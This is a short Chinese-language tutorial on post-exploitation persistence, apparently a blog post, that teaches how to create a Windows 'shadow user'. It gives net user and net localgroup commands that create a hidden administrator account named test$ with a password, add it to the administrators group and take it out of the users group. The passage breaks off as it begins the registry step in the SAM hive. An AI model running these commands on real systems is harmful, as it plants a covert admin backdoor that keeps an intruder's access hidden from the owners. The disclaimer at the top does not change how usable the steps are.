权限维持-Windows影子用户

前言

该文章只进行技术分享与探讨，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。

在windows中创建一个影子用户，影子用户拥有和正常用户一样的权限和功能

影子用户只可在注册表中看到

演示环境：windows server 2012（靶机）

前提：

需要一个高权限用户（administrator 或者是 system）

一、

1. 创建用户test（后面加个$符号是为了使net user 无法查看到）

net user test$ a+1 /add

 2. 将test用户添加到管理员组

net localgroup administrators test$ /add

 3. 将test用户移出users组

net localgroup users test$ /del

 二、

 打开注册表

 找到HKEY_LOCAL_MACHINE\SAM\SAM